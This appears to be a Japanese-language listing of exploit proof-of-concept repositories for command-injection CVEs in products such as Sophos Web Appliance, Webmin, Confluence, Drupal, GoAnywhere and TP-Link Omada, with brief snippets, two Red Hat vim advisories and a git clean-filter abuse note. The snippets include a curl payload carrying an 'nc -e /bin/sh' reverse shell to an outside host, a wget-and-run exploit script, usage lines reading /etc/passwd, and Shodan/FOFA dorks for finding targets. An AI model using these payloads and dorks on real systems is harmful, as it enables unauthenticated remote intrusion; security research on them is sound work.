CVE-2026-19586

CVE-2026-19586 PoC TP-Link Omada SSL VPN 未認証RCE CVE-2026-19586 概要 TP-Link OmadaゲートウェイファームウェアのSSL VPN認証パスにおけるコマンドインジェクション脆弱性CWE-78により、未認証の攻撃者がrootとして任意のコマンドを実行できます。OpenVPNベースのSSL...

CVE-2018-6574

CVE-2018-6574 Remote command execution in Golang go get command. CVE-2018-6574 この脆弱性は Golang の go get コマンドに影響し、攻撃者が悪意のあるライブラリをインストールすることでシステム上でコード実行を行うことを可能にします。この脆弱性は Go 1.8.7、1.9.4、1.10rc2 で修正されました。 Golang はネイティブ拡張をビルドします。これはコンパイラに追加のフラグを渡してコード実行を行うために利用される可能性があります。例えば、CFLAGS が使用される可能性があります。...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC 使用方法: sudo python3 hehe.py -t -c 例: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | | | | | | |\ ----.|...

CVE-2025-32375

脆弱性バージョンのセットアップ 脆弱性のあるコンテナを起動します: docker compose up リスナー（例: ncat）を作成します: ncat -klnv 1337 エクスプロイトを実行します: python3 exploit.py すべてが正常に動作した場合、ncat ウィンドウに OS コマンド（デフォルトでは id）の内容を含む HTTP リクエストが届くはずです。 クレジット 脆弱性発見者: SeaW1nd VickyTheViking によるテスト環境に基づく...

CVE-2019-3929

CVE-2019-3929 Crestron/Barco/Extron/InFocus/TeqAV リモートコマンドインジェクション CVE-2019-3929 Metasploitモジュール Tenableの説明によると: "リモートの未認証攻撃者は、HTTPエンドポイント filetransfer.cgi への巧妙に細工されたリクエストを介して、rootとしてオペレーティングシステムコマンドを実行できます。この脆弱性は、Crestron AM-100 ファームウェア 1.6.0.2、Crestron AM-101 ファームウェア 2.7.0.1、Barco wePresent...

Important: Red Hat Security Advisory: vim security update

An update for vim is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion

A flaw was found in Vim, an open-source command-line text editor. An attacker could craft a malicious tags file that, when processed by Vim's C omni-completion feature, leads to insufficient escaping of input. This vulnerability allows for the execution of arbitrary Ex commands and, subsequently,...

-CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア用 Bash PoC インストール方法 wget https://raw.githubusercontent.com/0xSojalSec/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh 使用方法 GH0ST3exP10it$ ./exploit.sh http://127.0.0.1:8080 + Targeting http://127.0.0.1:8080 $ id uid=33www-data...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL コマンドインジェクション RCE 説明 rtsold8 は、DNSSLドメイン名にシェルのメタ文字が含まれていないか検証せずに resolvconf8 に渡します。$ によるコマンド置換により、隣接ネットワークからのリモートコード実行が可能になります。 影響を受けるバージョン: FreeBSD 13.x, 14.x, 15.x 2025-12-16 より前 使用法 sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3 exploit.py -i...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance における事前認証 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 18...

CVE-2019-15107

CVE-2019-15107 Webmin エクスプロイト CVE-2019-15107 問題が発見されました Webmin =1.920 において。パラメータ old が passwordchange.cgi にコマンドインジェクションの脆弱性を含んでいます。 NVD コンパイル $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 使用例 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder の OS コマンドインジェクション Apache Ranger の user-sync（unixusersync）モジュールにおける OS コマンドインジェクションの実行可能な PoC 再現コードです。 同期された各ユーザーのグループを列挙する際、UnixUserGroupBuilder はシェルを介して id コマンドを実行し、ユーザー名 をコマンドラインに連結します： //...

CVE-2025-32778

CVE-2025-32778 - Web-Check コマンドインジェクションエクスプロイト 説明 CVE-2025-32778 は、Lissy93 による Web-Check OSINT ツールにおける重大なコマンドインジェクションの脆弱性です。 認証されていない攻撃者が、スクリーンショット API の url パラメータを介して任意のシステムコマンドを実行することを可能にします。 この Python スクリプトは、エクスプロイトを自動化し、リバースシェルを生成したり、カスタムシェルペイロードを受け入れたりできます。 警告...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry（旧MobileIron Sentry）は、モバイルデバイスと企業バックエンドリソース（メール、SharePoint、内部Webアプリケーション）間のトラフィックをプロキシするエンタープライズセキュリティゲートウェイです。 Mobile Device Management （MDM）ポリシーを適用し、暗号化されたモバイルセッションを終了し、エンタープライズアプリの展開のために証明書ベースの認証を発行します。Sentryインスタンスは通常、インターネットに公開されたポート8443 上で動作し、MICS（Mobile Iron...

CVE-2018-6961

Python3でのCVE-2018-6961エクスプロイト バージョン3.1.0より前のVeloCloudによるVMware NSX SD-WAN Edgeには、ローカルWeb UIコンポーネントにコマンドインジェクションの脆弱性が存在します。このコンポーネントはデフォルトで無効になっており、信頼できないネットワーク上で有効にすべきではありません。VMwareのVeloCloudは、将来のリリースでこのサービスを製品から削除する予定です。この問題の悪用に成功すると、リモートコード実行につながる可能性があります。 リンク CVE詳細...

Drupalgedon3

Drupal エクスプロイト SA-CORE-2018-004 / CVE-2018-7602 のPoC 作者 Alexandre Nguyen 使い方 usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal base URL...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT は、ライセンス応答サーブレットにおいて任意の攻撃者制御オブジェクトをデシリアライズすることにより、認証前のコマンドインジェクション脆弱性が存在します。 0x00 Dork shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 使用方法 Java バージョン java -version openjdk version "1.8.0362" ヘルプ java -jar CVE-2023-0669.jar -h / / | / / / | \ / \ | / / / // // ...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Confluenceサーバー上でのリモートコード実行。 Dork Fofa: app="ATLASSIAN-Confluence" 使用方法 ヘルプ情報を表示します。 python PoC.py 個別のWebサイトに対する脆弱性確認。 python PoC.py -u https://1.1.1.1 コマンド実行。 python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd' バッチテスト。 python PoC.py -f urls.txt 参考...

git-clean-filter

これは文書化された（既知の）問題ですが、調査中に発見し、RT/PT に非常に役立ちます。 概要: .git/config の filter..clean ディレクティブはスクリプトを指し、.gitattributes はそのフィルターを追跡対象ファイルにバインドします。git がそのファイルの実際の git diff を表示するたびに、最初にクリーンコマンドを通してワークツリーの内容を実行するため、git はそこで指定された任意のパスを盲目的に起動します。 ここからが面白いところです。エディタは、変更されたファイルをクリックすると自動的に git diff...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — HP HPLIP 大量 CVE チェッカー 2026-09 HP HPLIP 3.26.6 向けの大量チェック および研究用エクスプロイト ドライバ — CVE-2026-91097 から CVE-2026-91106。 CVE| CVSS 4| CWE| リモート ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| はい UI CVE-2026-91098| 8.6| CWE-122| はい UI CVE-2026-91099| 5.1| CWE-61| ローカル CVE-2026-91100| 6.8| CWE-78...